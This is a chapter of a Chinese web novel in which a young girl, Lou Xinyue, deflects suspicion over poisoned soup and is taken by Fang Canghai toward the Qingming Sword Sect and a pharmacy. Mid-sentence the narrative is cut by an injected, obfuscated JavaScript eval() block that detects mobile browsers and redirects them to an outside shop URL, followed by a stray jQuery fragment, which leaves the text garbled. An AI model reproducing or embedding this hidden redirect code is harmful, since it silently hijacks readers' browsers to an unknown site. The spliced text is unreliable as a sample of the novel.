“你送的汤,里面放了什么?”方沧海双手抱在胸前,眼神凝在杜若瑶身上。
他的语气相当平缓,可就是这份不急,让人心头格外发慌。杜若瑶脚步凌乱地上前了些,道:“方师兄,有话不如直接说出来,何必如此?”
方沧海道:“这里面放了巴豆,你说,是谁有这样的胆子?”
杜若瑶的嗓音发抖,调子尖锐起来:“方师兄,你是说,是我给这个小丫头下了毒?”她蓦然转向楼心月:“你这丫头,我好心好意对你,你却如此诬赖我?”
“你不要问她,”方沧海皱起眉头,“她才八岁,懂得什么?”
“师兄……”杜若瑶更近了一步,眼睛里闪着些婆娑的泪光,“这丫头来路不明,心思却十分深重,她挑起这件事,不就是想给人泼脏水吗?这里面的东西不是我放的,我也不知道为什么汤里会有巴豆,万一是她自己弄进去的呢?”
方沧海扫了一眼楼心月,嗤笑,并未言语。空气凝了一息,杜若瑶慢慢找回节奏,婆娑的雨露更大了些,唤来丫鬟取走陶罐,又在方沧海跟前恳切自陈。
“方师兄,我们从小一起长大,若瑶也知道平日里有些不懂事,可是万不会做害人的事。”她一番如诉如泣,说得自己更唏嘘了些,话里带了些情真意切的抽噎,“方师兄,你怎么总是向着别人呢?还有,这丫头是沈菁在照顾,现在却不见她人,我替她好好照顾这丫头,反倒惹一身麻烦……”
方沧海转向楼心月:“沈菁去哪儿了?”
楼心月垂眼摇摇头,又抬起小脸瞧他,笑得天真无邪:“……杜姐姐送来的汤,有问题吗?我倒是觉得很好喝呢,比昨晚的吃食好多了。”
方沧海问:“昨晚是沈菁带你吃的东西?”
“没有,”楼心月无辜地看着他的双眼,“沈姐姐说要给我带吃的,可是出去人就不见了。”
方沧海的双眸沉了几分:“昨晚吃的什么。”
楼心月踮起脚,抬起手臂往柜子上一指:“喏。”
方沧海走过去,打开食盒一一瞧过,半晌动作凝滞地关上。
杜若瑶的嗓子不停发抖:“方、方师兄……”
她掐紧了手指。
方沧海沉默地转向她,神色冰冷:“原来你是这么照顾她的。”
杜若瑶的嘴唇变得苍白,张了张却吐不出半个字,眼神执拗地看着方沧海,盈满了委屈。
楼心月垂下头,仿若置身事外。直到方沧海的脚步声来到她身侧,他平缓的嗓音落入她耳中。
“跟我过来。”她的小手也被抓起来牵好。
这次他学会放缓了脚步,让她恰好能跟上。过假山处水声潺潺,脚下铺着汀步,方沧海一手绕过膝弯,把她抱起来,另一只手护着她的背。
两两无言。方沧海没有追问她事实原委,也没有过问她的身体状况。
那么,只有一种可能:他知道她在说谎。但出于某种原因,方沧海选择不追究,明面上还站在她这一边。
绕过假山幽径,他在一间彩亭驻足。
楼心月站在铺着琉璃彩贝的地面上,手脚有些发麻。日头从东方照过来,少年挺拔如松的阴影恰好把她整个罩住。
“今后你跟着我走,”方沧海盯着她的脸,忽然说,“我到哪儿,你就跟到哪儿。”
楼心月被这句话搅得心头微微发颤,垂着脑袋:“好……”
方沧海的目光在她头顶停了很久,沉甸甸的,仿佛在探查一件参不透的物事。末了,有个随从恭恭敬敬地跑来,说车马已备好,现在可以启程了。
楼心月警醒地抬眼,恰对上方沧海一动不动的黑眸,又戚戚地垂下去。
“走。”方沧海说,牵她的动作已经相当熟练。
转过泷园九曲十八弯的甬道长廊,方沧海带着楼心月来到一处侧门。门口立着两个小厮,外间停着两匹赭红色的高头大马,后方拉着一乘朱红帷幕的车。方沧海先抱了楼心月上去,关了帘子。
隔着马车,她听见一墙之隔外街市嘈嘈的人声。紧接着是脚步声,方沧海在和人说话。
楼心月闭上双眼,良久,捡了小几上一块莲花形状的糕点吃。
帘子又动了,她下意识看过去,嘴上恰沾着些碎屑。孟少颐一愣:“咦?怎么你这丫头也在。”
马车启动了。方沧海的声音混在车马辚辚之间,从右侧传来:“是我让她跟着的。”
孟少颐一脸难色,注视着楼心月,仿佛方沧海犯了一个多么离谱的错误。
“可是师兄,她这么小,万一……”
方沧海似乎抽了一下马鞭:“小?既跟着我,就要从小开始学。”
孟少颐还想说什么,终是叹了口气,看着楼心月的眼神透着点怜悯。她嚼完了糕点,拍了拍手指上的碎屑,好奇地问:“孟哥哥,要学什么呀?”
孟少颐来了劲,一股脑打开话匣子:“可多了!学识、武艺、心法、天文、地理、医书、史书……一下子我可列不完。咱们师兄手下出来的弟子,就是去考个状元也不用眨眼。”他头一顿,猛拍了一下前额:“师兄,你不会要带这丫头回山吧?”
侧面再次响起方沧海平静无波的声音:“山是要回的。”
孟少颐指了指楼心月:“那她……”
两人都沉默了。方沧海忽然冲着她来:“你呢?想不想入青冥剑宗?”
楼心月的后背一阵发麻,连掌心都突突地跳动。
青冥剑宗。那是多少天才争相追逐的地方?不世之材,黄金万两,都不一定能叩动青冥的山门。
她?一个出身天仙坊的小丫头?
楼心月还清楚自己是几斤几两。就算这辈子她打算踹了方沧海,离得远远的,那也不是现在该考虑的事情。
况且,方沧海已经有点怀疑她了。
楼心月的双眸迅速蓄满泪水,眼下薄嫩的皮肤微微发红:“公子……你不要我了么?我、我错了,我再也不敢乱说话了。”
方沧海的语气有些错愕:“你错了?”
楼心月狠狠点头,鼻子里抽泣了一下:“我知道自己是个野丫头,不该叫你‘叔父’,可是昨晚杜姐姐找过来的时候,我实在是太害怕了,怕不这样叫,会被欺负……”
方沧海沉默了很久,久到她心中的鼓点隆隆地敲,生怕这一关糊弄不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944323|214028||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过去。
好在,方沧海终于开口了:“以后有谁敢欺负你,就告诉我。”
楼心月埋下头,哭得更厉害了些。孟少颐手忙脚乱地递帕子,连忙捡了几个金黄饱满的橘子给她剥。
“都是我不好,不该起这个头。别哭了小丫头,我们师兄最是仁义,既然带你回来就绝不可能赶你走!”
楼心月哽咽了一下,说话的声音含含糊糊的:“是吗……?”
“对啊,刚才说的,不是不要你,是带你回……”
猛然一下马车停了,她和孟少颐都险些栽倒。亮光忽然照进来,方沧海将一条马鞭扔进孟少颐怀里:“你去骑马。这里交给我。”
楼心月的眼睛扑朔两下,睫毛上还挂着一根根晶莹的泪水。
方沧海坐在她身旁,刚在外面晒过太阳,车厢似乎都暖了些。马车晃动的时候车帘微微敞开,阳光照在他本就白的手脸上,仿佛玉人一般,嘴唇格外红润。
他接着剥没了一半皮的橘子,交到她的小手里,淡淡地开口:“这橘络通络顺气,于气血有益。”
楼心月想,她并不挑嘴,方沧海多此一句。于是掰了一块橘瓣,凉凉的,像饱满的半月,想了一想放到他嘴边。
方沧海显然一怔,根本没有想到有旁人会为他做出这个举动,半晌才张开唇,含住吃了。
他背靠着车厢坐得挺直,眼神凝向远方,神色些微凝肃,似是参悟不透,本是来哄小孩的,怎么反倒成了……
他以前在门中就照顾师弟师妹,现在年纪长了些,又开始带师侄一辈。青冥剑宗的孩子从小就重规矩,文静懂事,个个自立自强,争先比着谁更少年老成。
哪有眼前这种,爱哭、柔柔弱弱还让人琢磨不清的。
这丫头有时候知世得让他怀疑皮囊里装着一位成年人,有时候又敏感脆弱得让人措手不及。
罢了……
他斩断无用的思绪。
日头高悬,马车在一处繁忙的闹市停下。
方沧海抱着楼心月下来。她环顾四望,周遭白墙黛瓦,脚下青石板湿漉漉的,还带着昨夜的水汽。
面前是个三开间的药铺,正当中题字“济世堂”。掌柜是个八尺高的中年人,一袭青衫头戴幞头,出门行了个周正的官礼。
“三爷。”掌柜道。
“程叔,”方沧海点头,“许久不见,今日有些急事,不得不来叨扰你。”
程掌柜捋了捋胡须,儒雅地笑了笑:“三爷哪里话,若不来才是生分了。”
他定了定神,视线落到楼心月身上:“这位小姑娘有些眼生。”
方沧海道:“家中远房堂兄的女儿,此前流落在外,昨日好不容易寻得相认。”
他说起这个谎倒是比昨天更加流利,低头看向楼心月的神态也极其自然。
程掌柜了然地睁了睁眼,目光在楼心月身上流转了一周:“姑娘的身子有些虚弱,周身气虚滞涩,气血不通,好好调养方无大碍。稍后我开个方子,叫小徒抓几副药。”
一行人被程掌柜迎进药铺。楼心月望着满屋通天高的柜子,淡淡的药香似乎唤醒了身体中宁静的记忆。